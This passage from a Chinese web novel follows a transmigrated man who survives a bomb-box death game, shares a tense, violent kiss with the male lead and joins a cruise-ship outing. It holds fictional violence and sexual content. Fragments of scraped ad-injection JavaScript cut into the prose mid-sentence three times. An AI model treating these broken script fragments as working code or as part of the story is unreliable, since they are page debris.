十三个箱子里面,还有一个除去安全弹之外的特殊炸弹,它被这场游戏的策划者命名为幸运之星。 打开这个箱子,炸弹绑定、爆炸,除此之外的所有炸弹全部失效。 最后一个规则叫无罪赦免,当场上只剩一个人,那个人不用开箱,会被自动判定为胜利。 总之,这是一个绝对会死人的游戏。 规则十分简单,不到一分钟就已经宣读完毕,听完规则的众人,陷入了诡异的沉默。 在场的人,有老师、商人,有富二代,还有带着小孩一起来的女人。 他们来自不同阶层,彼此之间毫无瓜葛,唯一的共同点就是非常缺钱。 今天之前,有人往他们的账户中汇入了五千星币,终端收到了无法查询来源的匿名消息。 如果参加游戏,最终活下来的那个人,可以获得一千万星币。 太明显的骗局。 本来不屑一顾的他们,在账户又收到五万、十万星币时,产生了动摇。 最后没有人抵挡住偿还债务的诱惑,最终还是决定来到信息指定的地方。 “谁先开?” 说话的是个穿着黄色夹克的年轻人,他整个人瘦得像竹竿,眼球不正常地震颤,“你、你们怎么不说话?” “没脑子的东西。” 竹竿迅速怒了,“你他妈说什么?” 穿着西装的男人,推了推眼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 镜,“我说你没脑子,我很好奇,你真的听懂游戏规则了吗?” 竹竿确实不太明白,但他还是嘴硬道:“不就是赌运气吗,多简单个事。” 西装男嘴角挂着冷蔑的笑意,抱着胳膊居高抬了抬下巴。 众人的视线,落在不远处。 一条大桌子,上面放着十三把锋利的短刀。 来的时候就看到了,不知道这刀意味着什么,没人去碰。 但听完规则以后,这刀明显被附上了特别的含义。 一个身体佝偻着的中年,缓声道:“别急,别急,我们人这么多,要不要先互相介绍一下了解了解情况,万一可以找出游戏规则的漏洞,所有人都顺利通关呢?” 竹竿不屑嗤笑:“怎么可能?一个人一千万,十三个人就是,呃,十三个一千万,就算是布尔勒也拿不起!” 布尔勒是联邦富人排行榜上,排行第一的商人的第五十二个儿子,因行事张扬,花钱如流水而闻名。 中年男人好脾气地笑了笑:“万一呢?况且,按照你这么想,他是个不守信的家伙,那就算有人通关,这笔钱也不会转到你的卡里。” 竹竿:“老头,我劝你少说话,不然我先捅死你,再用你的尸体去开盒子。” 中年男人不说话了。 藏在人群中,观察他们的表情和行动,始终一言不发的阮知闲,默默地走向武器桌。 他拿起一把匕首,抽出,锋利的刀刃在月光下反射着凌厉的光。 本来就隐隐躁动人群,被泼了一层热油。 西装男皱眉:“你什么意思?” 阮知闲挽了个漂亮的刀花,看向他,耸了耸肩。 “别那么紧张。”他把刀插回刀鞘,“只是看看而已。” 站在女人身边,大约十四五岁的小孩,突然失控,跑到箱子边上伸手要打开。 是一个打了很多耳洞的男人组织了他。 耳洞男啪啪扇了他两个大嘴巴子,然后把他丢给那边看起来柔弱无助的女人,不耐烦道:“管好他,别在这添乱。” “真该死。” 西装男啐了一口。 他已经明白,游戏的精髓其实不是什么幸不幸运的东西,而是杀戮。 第一个开箱者,要是开出安全弹,其他人就会死,所以其他人肯定会从中妨碍。 而开出的要是幸运之星,那么开箱的人就会性命不保,显然也不是开箱者的个人意愿。 两难的局面。 他们的号码牌和炸弹绑定,号码牌可以交换,十三个号码对应十三个人,除非有第十四个人来,不然这个箱子肯定是开不成的。 开箱不可控,更可控的是…… 杀了所有人,拿他们的尸体做实验。 自以为已经看透局势的人们,轻易地暗下杀心,一边附和着另外几个人的话,一边慢慢地往桌子边移。 第一个拿起刀的是竹竿,第二个是离桌子边最近的女人,第三个是女人身边的小孩,小孩举着刀重重地朝女人刺去,女人灵敏地闪开,反手去扎他的胳膊。 小孩痛叫一声,声音竟然十分苍老。 以此为交界,场面变得混乱起来。 另外几个有技能在身,试图从机械和逻辑的角度找出漏洞的人,吓得四下逃窜,一边走,一边试图说服这些已经丧失了理智的人。 阮知闲躲开装成小孩的侏儒的匕首,正要按照计划进入烂尾楼时,他眸光一闪,敏锐地察觉到,在烂尾楼不远处,有一道鬼鬼祟祟的影子。 沈言? “停下!都停下!我知道怎么办了!” 西装男也看到了那道影子,立刻大喊一声制止这些人,自己朝他飞奔过去。 没过一会,就把丧头搭脑的沈言抓了回来。 沈言咽了口唾沫,垂着眼睛,气质是和漂亮外表完全不相符的窝囊。 “我、我什么都没看见。”他的声音发抖,还有点哽咽,“求求你们了,放我走吧。” 一双穿着运动鞋的脚,停在沈言眼前。 而后是阮知闲听不出情绪的声音。 “哥,你为什么会在这里?” 5. 亲一个 沈言没有近视眼,但原主带眼镜,从设定上来说应该是高度近视。 他虚虚地眯起眼睛仰头,昏暗的月光下,很艰难地才辨别眼前这人的身份。 他肉眼可见地放松起来,眼睛变得亮晶晶,飞快道:“知闲,你和他们认识对吗?快和他们说说,这里肯定有误会。” 阮知闲:“哥,回答我的问题。” 阮知闲看不出喜怒,居高临下的眼神,让沈言不由自主地露出害怕的表情。 他咽了口口水,紧张道:“我……我用电脑,电脑坏了,我想把电脑送去回收点,结果忘记带导航,不小心、迷路,就……” 说话的声音越来越小,旁人异样的目光让他抬不起头。 西装男狐疑的视线,在沈言和阮知闲身上挪移。 这里十分偏僻,从下城区过来,如果是步行,至少要走半小时。 机械回收点虽说是二十四小时无人营业,但应该很少有人会大半夜地把电脑送去回收,更别说迷路到这么远来了。 阮知闲不说话,沈言被西装男抓在背后的胳膊发酸,他动了动,却引来更暴力的镇压。 沈言哀哀地小声道:“知闲……” 西装男看向阮知闲:“你和他什么关系?” 阮知闲:“没有关系。” 沈言一愣,刚要说点什么,西装男打断他,咄咄逼人地继续盘问阮知闲。 “那他怎么会知道你的名字?那个人说了这件事不许让任何人知道,如果违背规则,所有人都会受到惩罚。” 阮知闲沉沉地望着他,“我说了,没有关系。” 被按在地上的沈言,不可置信地望着阮知闲,也不挣扎反抗了,低着头,别人看不到他的表情。 西装男心中有了答案。 两人肯定是认识,但这个人的出现应该不在他的预料之内。 至于为什么能这么巧地出现,这件事可以暂且按下不提,更重要的是这场游戏。 即使这个窝囊青年,是组织者送来的某种道具或考验,又或者是别的什么东西。 只要能帮他们通关,帮他们拿到钱,那就没必要追寻他的身世和意义。 他不知道规则,不知道箱子里装的是什么,唯唯诺诺很好操纵,只要强硬地命令他做事,他就会做。 是一个绝佳的替死鬼。 西装男松开沈言时,刻意用了点力气。 沈言扑倒在地,外套被弄伤了点灰,还好是人造皮革,他迅速起身,把那点脏东西拍打干净。 西装男把自己的卡递给他,命令道:“你去把这个箱子打开。” 沈言愣愣的,“为什么?” 西装男啧了声,按着他的肩膀,上去给了他一拳。 拳头落在沈言的腹部,沈言被打得弯下腰去,西装男甩了甩手,有点诧异地看着他。 他的腹肌还挺硬,像是练过的。 中年男人凑上来,扶住沈言,不慎赞同地瞪了一眼西装男,“你太冲动了,他不过是一个普通人。”又非常和缓地安慰他,“没事吧?对了,我还不知道你的名字。” 捂着肚子的青年缓缓起身,感激道:“我叫沈言。” 西装男冷哼一声,讽刺道:“装什么好人?你不是也想让他开你的箱子?” 每个人的手牌和他们的终端绑定,而终端又和蜘蛛炸弹绑定。 把手牌转移到沈言身上,让沈言去蹚雷,那转移手牌的人,就短暂地安全了。 中年男人叹气,眼眶瞬间就红了,捏着自己的手牌,缓缓开口: “我如果不是被逼得没有办法,肯定也不会让小哥帮我做这么危险的事,我家里儿子才三岁,妻子前几年遭到抢劫,被人捅了个大窟窿,去医院去不起,黑医给她安的肾脏,每年都需要几十万的保养费用,我、我……” 他说着说着,就哭了起来。 这哥们演技也不错。 明明是他为了赌博,把亲人朋友全都卖了还赌债,现在却这么言真意切。 这回变成沈言安慰他了。 “先生,我虽然不知道这里到底发生了什么,但是如果你需要我的帮助,我绝对会尽我所能。” 中年男人连忙把卡往他手上塞,“真的吗?真是太谢谢你了!你只要把这个卡绑定到自己的终端上,然后……” 竹竿一脚踹开中年男人,抓着沈言,眼睛里全是某种癫狂的热情。 “你知道莲子吧?莲子里有个人叫艾诺,他是我爸爸,他在组织里很有地位,只要你开我的箱子,我就能引荐你也加入莲子,怎么样?” 另一边,一个打扮很时尚的少年,不屑道:“艾诺?一个跪在人脚边擦鞋的货色,你也好意思往外提。” 竹竿急了,狠厉的目光直勾勾地盯着少年,少年也根本不怕,反而很挑衅地对他勾了勾手指。 他顿时疯狗似地冲了上去。 少年和竹竿打了起来,西装男拉着中年男人不然他接近沈言,女人被小孩捅了一刀,瘸着腿一高一低地走到沈言面前,直直地跪了下来。 她的身材对于男性来说很有吸引力,赤裸的两条胳膊上纹着复杂的纹身,后颈移植的信息接收器隐隐发着光。 沈言不知所措,想要把人扶起,却被女人死死攀住,十根手指扣着沈言的胳膊,戳他手腕上的终端,一言不发地想要强制将卡片和他绑定。 小孩大叫着冲过来,抓着女人的脚腕把她扯下来,嘴里骂得很脏。 勉强能从他的话语中听出他们是夫妻关系。 一个人刚过去要让沈言绑定,就有人过来妨碍阻止,本来因沈言出现而勉强稳定一些的局势,又因为沈言而混乱起来。 阮知闲站在不远处平静地看着他们互相攻击,嘴角扯了扯,视线落在沈言的身上。 作为他们猎物的沈言,显然没有猎物的自觉,左劝劝右劝劝,在劝架过程中不小心受了点伤,也不生气,急得团团转。 明明被他那样冷淡地对待,却还是下意识地将他视为拯救者,时不时地往他的方向投来一撇。 蠢。 又蠢又gay。 阮知闲淡淡地将视线移开,突然开口,“都停下吧,浪费时间。” 他说话的声音不大,但因为他并未加入战局,其他人虽然打得上头,但也会分神出来关注他,生怕被他坐收渔翁之利。 没想到他直到最后,也没有和他们一样争抢“安全”的意思。 最先反应过来的是西装男。 游戏有时间限制,绑定卡片后,终端就会显示游戏时间,现在还剩三个小时。 无论是对解密还是对别的什么来说,都太紧迫了。 其他人也渐渐停手,阮知闲把自己的卡片往地上一扔,继续道:“让他自己选。” 西装男冷笑,“你和他认识,他不选你选谁?” 阮知闲无所谓道:“那就排除我。” 几人面面相觑。 阮知闲:“选完以后,我能排出答案,快点。” 本来还疑心两个人暗暗勾连给他们下套的人,见阮知闲的无情样子,慢慢也放心了。 第一个人被炸死的概率是百分之九十多。 四舍五入就是百分百。 他并未告诉沈言规则,像他们一样含糊其辞,和他们是站在同一边的。 那就好办了。 阮知闲的卡在自己手上,西装男把收上来的卡摆在他面前,催促道:“选一个。” 沈言:“箱子里是什么?” 死到临头了,才开始问这个问题。 这么迟钝的人,究竟是怎么活下来的? 西装男没有回答沈言的问题,在他眼前晃了晃拳头,赤裸裸地威胁:“别问,快选。” 阮知闲道:“里面是炸弹,你可能会死,炸弹引爆后活到最后的人能得到一千万。” 场面一静。 被蒙骗的小羊羔骤然得知真相,瞪大眼睛,竹竿大吼一声冲上去打阮知闲,阮知闲一脚给他踹趴下。 这一脚应该很用力,竹竿脸色煞白,直接被踹飞出去,瘫在地上,不动了。 身体还有微弱的起伏,还没死。 况且,就算死了又能怎么样? 本来就是亡命之徒了。 阮知闲明白表现出的武力值,让别人不敢再去招惹他。 还是沈言更好威胁一点。 西装男把卡收上来放在沈言面前扇字形展开,嘴里胡说八道:“你别听那个人瞎说,如果你……。” 沈言打断他,“我可以去开,但是我也有条件。” 西装男还感觉很好笑,你都要死了的人了还想着要什么条件? 但是为了稳住他,还是很通情理似地说:“可以,你说?” 这回沈言缄口不言,闭着眼睛在其中随便选了一张绑定,号码是七。 被选中的西装男松了口气,这回是真的带了点祝福的意味:“祝你好运。” 沈言抿着唇笑了笑,然后走到阮知闲面前,摊开手掌。 “知闲,把你的给我吧。”沈言:“我试试能不能同时绑定两个卡。” 此话一出,不止是阮知闲,其他人也忍不住惊讶。 十三个炸弹,其中只有一个有存活概率。 一次性绑定多个也不是没有人想过,只是这样对自己是完全没有好处的。 他们都是奔着钱来的,怎么可能有人会为了别人的利益,献出自己的生命? 太搞笑了。 但搞笑的事的确正在他们眼前发生。 阮知闲不动,垂眸看着沈言,“不用你这么报答我。” 沈言对他笑了笑,直接把阮知闲的卡给拿了过来,自顾自地绑好。 其他人见状,也纷纷围了过来,希望沈言绑定上自己的卡。 但很遗憾的是,绑定两个已经是极限了。 这个是没写在规则里的隐藏规则,其他人还没来得及探索和利用,就被沈言消耗掉了,只好悻悻散去。 沈言现在绑定了两个号码,一个六号一个七号。 正好相邻的两个数字。 其他人退得远远的,紧张地注视着沈言。 倒不是怕死人,怕爆炸。 他们怕沈言刚刚的温驯只是搪塞,怕他跑。 西装男已经做好抓他回来的准备了。 沈言站在纸袋前面,心情没他们那么紧张。 毕竟这两个号码是他精挑细选的。 一个是安全弹,一个是幸运之星。 前者能让除了安全弹本身的全部炸弹爆炸,幸运之星在引爆时能让全部炸弹失效。 如果一起开呢? 小说里也没给出答案。 原本的剧情是大逃杀,所有人毫不意外地都死在了阮知闲的刀下。 阮知闲玩了一圈,本来只是用以刺激他们欲望和恐惧的道具,竟成了阮知闲最后的玩具。 布置这些东西的阮知闲,其实也不知道里面那些炸弹哪个会炸,哪个不会,都是随机的。 他握着号码牌,他是六号,便随手挑了七号换绑。 打开。 除了七号以外的所有蜘蛛炸弹全部启动,极速腾飞奔向绑定者。 烂尾楼各处发生爆炸,本来被弄死的尸体,受到二次伤害。 七号是安全弹,而本来属于 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 阮知闲的炸弹,是幸运之星。 死神好像真的很想带他去地狱。 偏偏上帝每一次都要他活下去。 沈言想着剧情中随手扔掉号码牌,潇洒离去的阮知闲,用同样潇洒的方式,同时打开两个盒子。 无事发生。 沈言拿起那个模样小巧精致的炸弹,对苟在那边的所有人挥了挥手。 “好像坏了。”沈言:“用修一下吗?” - 回去的路上,阮知闲没有主动和沈言说话。 天已经要亮了,沈言身体很累很困,但精神很亢奋。 他在阮知闲身边喋喋不休,“知闲,我知道你是为了我好,那个时候撇清关系,才能让我们两个活下去,我不怨你。” “说起来,那些蜘蛛就是炸弹吗?太酷了!” 阮知闲打断他,“你怎么想到要绑定两个号码牌的?” 沈言不假思索:“因为你。” 阮知闲轻哂。 沈言挠了挠头,声音很轻道:“你救我一命,我总不能看你被那些人威胁,置之不理吧?” “毕竟你对我真的很重要。” 夜晚,月亮高悬,无论是地面还是街上行走的人都被撒上一层银霜,还没到市区,没有霓虹灯的光污染,一条只有他们两个人的小路,氛围似乎很适合告白。 阮知闲停下,看向沈言。 沈言皮肤白,所以情绪很难藏住,脸颊和耳尖都染上绯红时。会比别人更明显。 口口声声说想报恩的死gay,破坏了他筹谋了一个月的游戏,让所有人全身而退。 是真的幸运,还是他藏得太好太深? 喜欢他? 是装的,还是真的喜欢? 阮知闲:“哥。” 他拉住沈言的手腕,手指顺着沈言的胳膊,攀至他的面颊,拖住了他的下颌,让他看着自己,表情一览无余。 脆弱的、薄薄一层眼皮下面是不安的眼球,细微地战栗着,晚风很凉,阮知闲冰冷的手心贴在沈言的发热的脸上,错觉中似乎升起了火炉般的烫。 阮知闲的指腹摩擦着他的皮肤,沈言完全不敢看他,脸更红了。 呼吸间气息都是交缠的。 阮知闲放缓了声音,“哥对我来说也很重要。” 他又凑近一些。 “哥,你有时候会看我的脸出神。”含着点调侃笑意的声音,“为什么?” 沈言没怎么用力地扣着阮知闲的手,指尖也打着细颤,心里想的是“狗男主看我干你一拳”,嘴上却柔柔弱弱地开口,“知闲……别这样……” 然后抱着必死的信念闭上眼。 这回是真赌。 他赌男主不会为了确定他是不是gay,突然吻上来。 唇瓣飞快拂过柔软的什么东西。 沈言不可置信地睁开眼睛,阮知闲表情很奇怪,说不上是开心还是恶心。 “但愿我没有误会你的意思。” 沈言:(脏话) 阮知闲玩这么大? 今天晚上给他的刺激不小嘛。 呵呵。 沈言深吸一口气,勉强给自己上了一波buff,拽着阮知闲的领子,带着破釜沉舟的气势,吻住他。 反正初吻已经在三秒前没有了。 是男主先恶心他的。 这样想着,沈言扣着阮知闲的后颈,探出舌头,略过他的唇。 “知闲……”沈言抱着他,怯懦又大胆地说:“接吻,不止是这样吧?” 阮知闲看不出任何情动的迹象,直挺挺地站在那,像电线杆子。 但还是张开嘴巴,让沈言的舌尖,探了进去。 - 酒吧的营业时间是下午四点到次日一点。 和阮知闲一起回去的路上,阮知闲说自己有事,和他分道扬镳。 回家以后,沈言刷了十几遍牙,为数不多的牙膏被挤没了,后来的四遍只是漱口。 牙齿被冰凉的水冻得发麻。 沈言望着镜子里的自己,嘴巴又红又肿,嘴角还破了皮。 一开始是他忍着恶心亲,后面应该是男人的胜负欲上来,阮知闲后来居上,把他亲得差点窒息。 但沈言觉得窒息的原因,百分之八十是阮知闲一边亲一边掐他脖子。 脖颈靠近喉结的位置,绕了一圈过深的红印,睡一觉起来估计就会变紫。 说话时喉咙沙哑,像生病了似的。 沈言觉得,在某个瞬间,阮知闲是真的想掐死他。 下次还是冷静一点吧。 沈言痛定思痛,复盘一波今天的内容后,安心地躺在床上。 酒吧的营业时间是下午五点到凌晨一点。 他可以睡至少五个小时。 一晚上的疲惫,让沈言几乎是立刻就进入了睡眠。 很不妙的是,他开始做梦。 梦里是一片火海,阮知闲把他抱在怀里亲吻。 搂着他的腰,舌尖纠缠着他的舌尖,呼吸间隐约有血腥味。 周围有三个影影绰绰的人影,他们挤挤挨挨地凑过来,直勾勾地盯着他们,还饶有兴味地讨论。 “小言的脸好红。”一个高大的影子碰了下他的脸,“之后可以和我亲吗?” 另一个稍微瘦削的,一把拍掉他的手,认真道:“你不要打扰他们,一会儿老大生气,带他回卧室怎么办?” 最后一个抓着沈言的手,用力舔舐、吸吮他的手指,指缝被他舔得发软,湿漉漉的。 变态的口中发出模糊的呢喃。 “妈妈……” 沈言吓醒了。 6. 网恋教父 离谱。 真的离谱。 他怎么会做这种梦? 沈言一边拆机,一边开始质疑自己的性取向。 他应该不是gay吧。 之前有学弟和他关系好得可以吃一碗饭喝同一瓶水,也没说把他当性幻想对象啊。 怎么被阮知闲亲一口就做这种像4p小黄片的梦? 另外那三个人看不见模样,但应该是主角团的人。 舔他手还管他叫妈的那个,毫无疑问是孤儿出身的诈骗犯法尔森。 高高大大说想亲他的,看身形像战斗人员瓦伦。 剩的那个应该就是布雷兹。 沈言把电脑换了个方向,拆掉内置的摄像头,有点笨拙地把电脑重新装了回去。 现在的布雷兹还是个渴望朋友的好奇宝宝。 宝宝是沈言对他的主观上的称呼。 与其他人的心机对比而言,布雷兹的确是宝宝。 但如果叫一个十九岁的青少年为“宝宝”,实在奇怪。 沈言现在风声鹤唳,在脑子里将“宝宝”纠正为“男性”后,连接电源,按下开机键。 距离上班还有一个小时,看看宝……布雷兹这个成年男性在干嘛吧。 轻车熟路地登录网站,发现自己被密匙阻止、无法进入的沈言丝毫不慌,输入二十四位密码的密码后,成功登入网站。 原著里详细写过密码,一共变了三次,之前都是阮知闲破解出来的。 书里的炮灰和自己同名同姓,书友好心提醒让他背诵全文,恰好他又过目不忘,正好用上了。 一进去,布雷兹的头像就在跳动。 【flame】:。 【flame】:你昨天晚上要跟我说什么? 【flame是我的神】:你不要忘了给我买终端。 【flame】:…… 【flame】:名字,换掉。 【我是flame的狗】:这个怎么样?汪汪~ 【flame】:恶心。 【用户123】:哭哭qaqqq 布雷兹没继续发消息,沈言看了眼时间,起来换衣服。 今天要以什么样的精神状态面对阮知闲呢? 是唯唯诺诺试探态度讨要名分,还是畏缩回避装无事发生但还是隐约透出期许,亦或是做热情色鬼一见面就亲过去推进一下阮知闲的恐同进度? 呃。 还是前面两个里面选好了。 他也需要一点时间平复心情。 【flame】:为什么拆掉摄像头? 【flame】:旧电脑那么多没品的黄色废料敢让我看,为什么不敢让我看你? 【flame】:我不是外貌主义。 沈言想了想,其实露不露脸都可以,就算他不给布雷兹发照片,他也可以调出监控看到自己。 但是自己主动,和他主动调查,那是两回事。 前者是交友,后者则带了点工作的性质。 沈言解开白衬衫的几粒扣子,露出自己锻炼得很好看的胸肌,找好角度,摄像头从上至下地拍了一张照片,发给布雷兹。 【flame】:? 【用户123】:我在零度酒吧工作,有空可以来看我跳脱衣舞,亲爱的(心) 【用户123】:另外,密匙可以不要换了吗?破解很麻烦,拜托。 【flame】:……知道了。 【flame】:(图片) 是一张青年的照片,同样没拍脸,只露出菱形的红唇和穿得严严实实的古典欧式绸缎衬衫。 淡金色的,在七区意味着高贵身份的长发,不经意地垂在胸前。 一秒后撤回。 【flame】:发错了。 【flame的狗】:你好,公主:) 【flame】:? 【flame】:(图片) 修长的手指,拽住颈间蹭蹭堆叠的丝绸褶皱往下拉,露出凸起的,非常明显的喉结。 这张倒是没有撤回。 【flame】:我是男性。 沈言笑了下,扣好扣子,没管他,关闭电脑,上班去了。 —— 今天依旧被塞了很多小费。 那天参加游戏的西装男、时尚哥和耳洞哥,都在酒吧。 沈言的搭档换了一个,原本的江森听说被打了一顿,十天半个月不能出门。 新搭档寡言少语,和他一起分完钱后,率先离开。 作为酒吧新星,沈言得到了独享化妆间的优厚待遇。 今天跳的舞比那天体力消耗更多,即便是经常锻炼的沈言,也得停下来休息一阵。 他闭着眼睛,听到有人进来,也没睁眼,随后一双冰凉的手捂住了他的上半张脸。 明知道这只手的主人不是阮知闲,沈言还是欣喜地弯起嘴角。 “知闲,你来啦。” 嘲讽的年轻声音:“呵,我就知道你们俩关系不单纯。” 他松开手,嫌弃地用湿巾擦,“参加完游戏肾上腺素分泌情不自禁在路上做了?看看你们的嘴,这么激烈,生怕别人不知道你们是gay?” 说话的时尚哥叫斐申,混血,头□□染成棕金色,他站在沈言的化妆椅后面,刚刚捂眼睛的就是他。 穿着西装的张奇在他旁边,耳洞很多的赵平在门口,阮知闲靠在墙边,抱着胳膊,看向沈言。 沈言慌乱地从椅子上起来,往阮知闲那边跑,被地上散乱的衣服拌了一脚,险些摔进阮知闲怀里。 阮知闲应该还没从昨天那股劲里缓过神来,没有继续试探他,扶他站稳后,便很有距离感地把手松开了。 沈言讪讪道:“谢、谢谢。” 阮知闲:“不客气。” 斐申翻了个白眼,对于这种情侣的小把戏司空见惯,他和女朋友在外人前相处有时候也这样。 如果感情不好,怎么可能把嘴亲破皮? “算了,懒得管你们。”斐申回到正题:“你们收到钱了吗?” “没有。” 提起这个,张奇恨恨道:“他从一开始就没打算付钱!我们都被骗了!” 赵平意有所指地看向沈言:“也许是因为有人破坏规则,所以他才没履行诺言?” 沈言转头望着阮知闲。 阮知闲:“所以,你们来这儿干什么?” “我雇的人告诉我,他在这里出现过。” 沉默了一会儿,赵平道:“这事不能就这么算了,他既然有能力买到蜘蛛弹,至少能说明他身份不简单,要是能找到他,我们可以管他多要一点钱。” 莲花市持枪合法,但是不允许任何改造类枪械和武器在明面上出现。 暗地里没问题。 蜘蛛弹由普通炸弹改装,能够轻松定位,威力巨大,价格不菲,一枚大约要五到十万。 张奇叹气:“可惜线索到这个酒吧以后就断了,信息太少,赵平雇的人没法往下查。” “你们俩在这儿工作,我们想看看能不能找到突破口。” 沈言:“找到了吗?” “没有。” 张奇随意把自己丢进沙发里,给自己点上一根烟,疲惫道:“也许他说的那一千万是我的买命钱,既然捡回一条命,也算赚了。” 斐申急了,“你来时候可不是这么说的!就这样白白被人耍了,我安米亚家族的脸往哪搁!” 张奇嘲讽道:“你恐怕不是为了颜面吧?” 斐申理直气壮:“你不也是?别管是为了什么,这人我肯定不会放过!赵平,你说呢?” 赵平点点头。 沈言垂眸。 这是原著之外的剧情。 沈言感觉张奇雇的那个人应该也收到过阮知闲的授意。 甚至很有可能他雇的就是阮之贤。 不然凭他处事风格,被他们抓到把柄,还一路查到这里来…… 太掉男主逼格了。 绝无可能发生的事情。 倒不如说是阮知闲主动引他们过来,他们仍未逃脱掌控,结局很有可能还是死。 这个死,应该还要再加个自己。 沈言拿眼角小心觑阮知闲,看了好几眼,到后来动作已经非常明显了,其他人也被他吸引,蹙眉等着他说话。 只有阮知闲装没看到。 斐申受不了:“你想说什么就直说,怎么你的嘴昨天和他接吻的时候不小心忘在他嘴里了?非要他说话你才能说?” 沈言一愣,反应了一下,立刻红着脸解释:“我们、我们……” “行了,谁管你们怎么样,你到底想说什么?” 沈言:“我觉得你们最好还是不要再继续查了吧。” 斐申冷笑:“你没被邀请,你当然能说风凉话。” “不是。” 沈言叹气,二话不说拉住阮知闲的手。 阮知闲的动作挺僵硬,但在他们三个面前,也不能太崩人设,只好任沈言攥着。 沈言把和阮知闲五指相扣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的手举起来给他们看,换来他们三个扭曲的表情。 沈言庄重坚定道:“知闲是我的恋人,你们的行动,很有可能被牵连到他的身上,我不希望看到这样的事情发生。” 之前一直驼背缩脖的懦夫,在舞台上让他们惊讶一次,现在是第二次。 斐申一副受不了的表情,瘫在张奇旁边的沙发上,眼神空洞。 “那你说怎么办?老子缺钱缺得要死,要是让我爸发现我欠了雄狮那么多钱,我肯定会被他当着所有手下的面枪决。” 沈言疑惑,张奇解释道:“他是莲子老大的私生子。” “别说得那么难听。”斐申病歪歪地摆摆手,“等我三妈四妈上位,我就转正了。” 这个世界稍微有点权钱的人,私生活都很混乱,狗血的事更是层出不穷。 沈言没有过多探寻的意思,见阮知闲还没有开口引导局势,又继续道:“你也说了,那人始终藏在幕后,又比你们有权有钱,你们为什么自信能干掉他,而不是他在你们找到他之前,先干掉你们呢?” 顿了下,又继续说:“说实话,我觉得后者的可能性更大。你们现在也许并不安全,所有行为都在那个人的监视和控制之下,赵平,你确定你找的人没有问题吗?” 此话一出,另外三人背后都有点冒凉风。 虽然被联邦和各种黑客监控和泄露隐私已经成了常态,但在此之前他们并没有将这件事带入到自己身上。 因为他们不过是平平无奇的小人物,怎可能被这样特殊关照? 但是如果真的跳的太高,被轻松消灭,也不是没有可能。 张奇熄了烟,无奈道:“之后再看吧,如果有转机再说。” 顿了下,又用一种比较奇怪的眼神看沈言:“你倒是比我想象中要聪明一点。” 沈言不好意思地摆摆手,“对不起,是我反应过度了。” 都是陌生人,其实也没什么好说的,最重要的事不了了之,也就都回去了。 斐申是最后离开的,在离开之前,他给了沈言一张白卡。 “把你后天的时间空出来,我要带你去游轮上玩。” 沈言:“这……不太好吧。” “你长得是还可以,但我也不至于看上你这种唯唯诺诺的家伙。”斐申哼了声,“你运气不错,上船帮我赌两把,要是赢了,抽百分之五给你。” 阮知闲冷淡道:“你还有钱?” 斐申恶狠狠地瞪了阮知闲一眼,“关你屁事。” 说完,又把卡往沈言手里用力一放,不容置喙道:“后天上午八点半,我去你家接你,穿好看点,去市中心买衣服,用这个卡买,别给我丢人。” 不等沈言反应,斐申匆匆离开。 现在化妆室只剩沈言和阮知闲两个人。 沈言看了眼手里的卡,卡面做得很简洁,中间是烫金的缠绕藤蔓,莲花之外散布七颗莲子。 沈言把白卡递给阮知闲。 沈言像个受气的小媳妇,可怜巴巴道:“知闲,这样是不是不太好?我、我不想去。” 阮知闲把卡片放回他手心里。 “有什么不好?”阮知闲笑了下,眼睛里没有笑意,“哥,昨天晚上是我唐突,抱歉,我们应该还没到那个程度。” “又不是什么恋人的关系,你随便做任何事,就不要担心我吃不吃醋这种事了吧。” 沈言无语。 都亲成那样了,还试探? 他装gay已经装得很努力了! 还是说阮知闲xp比较特别,就乐意玩点这种拉扯的东西? 不知道,原著里没有感情线,推断不出来。 但从他一贯的捕猎经历来看,他现在应该是乐在其中。 沈言飞快调整情绪,眼睛里蓄起一汪水,强忍着没让他们落下,扁着嘴很勉强地笑了笑。 “是的。”还是没忍住,沈言用袖子用力蹭了蹭眼睛,转身小声道:“那个,能麻烦你出去一下吗?我要换衣服了。” 阮知闲从善如流地离开。 他站在门口,找出一颗糖,慢条斯理地拆开,放进口中。 门不隔音。 他放缓呼吸,清晰地听见了里面那人发出的声音。 先是很细微的喘息,脸埋在什么地方,声音有点发闷。 随后是清浅的啜泣,有些绷不住的呜咽丝丝绕绕地钻了出来。 最后是崩溃的喘息。 他眯起眼睛,舌尖抵着糖果,在口中转了一圈。 甜的。 好吃。 7. 邮轮 远远的就能看见在港口停靠的豪华游轮,走近后更能感觉到它的庞大。 高八十米,长四百米的轮船,简直是海上移动的巨兽,人类站在它跟前,立刻被衬成蝼蚁。 里面的装饰更为豪华,专门牵引他们的侍者,将游轮地图发送到他们的终端,热情地介绍: “游轮一共分为五层,甲板上有三层,最顶上的是这趟航程的Vip用户,需要专门的门禁卡才能到达,二层是各位贵宾的休息区,我们已经将人脸录入到系统里面,可以按照房号直接扫脸进入。” “一楼是我们的娱乐区,除了基本的永恒旗下最新款的游戏设备之外,还有赌场、游乐园、酒吧和两个餐厅等设施,第三天的拍卖也会在这里举行。” “甲板下面两层是我们工作人员和存储基本物资的地方,想要下去可以在找我们游轮的主管提出申请,申请通过后会有专人参观。” 侍者凑过来,对斐申毕恭毕敬地小声道:“今天晚上还有特殊表演,您如果感兴趣的话,可以来一层的暗室,这次主办方一共给了五百个名额,您是其中一个。” 斐申淡淡道:“知道了。” 侍者为斐申推开大门,富丽堂皇的华丽装修映入眼帘,刚刚上船就已经情绪高昂的游客们散落在四处,热闹非常。 “欢迎来到八号珍珠,祝您旅途愉快。” 斐申刻意去看沈言的表情,出乎意料的是,沈言没露出土包子惊掉下巴的蠢样。 人靠衣装马靠鞍,沈言本来长得就好看,这趟来斐申特意给他做了造型,穿着打扮都往上流那方面靠,还进行了紧急的仪态指导,这样一套连环组合拳下来,唯唯诺诺的青年,气势甚至还要盛他一截。 两人刚进去,斐申的朋友们就围了上来。 都是些狐朋狗友,上来就是打趣。 说他口味突变怎么突然喜欢男人,这人不错看上去很耐.干,另外有个当0的朋友眼睛就一直没从沈言身上拔下来过,反复地看他胸和胯,要不是斐申拦着,估计还会上手摸。 沈言冷着脸,一言不发,被惹得急了,便看向斐申,意思是让他解决。 这也是他和斐申之前商量好的。 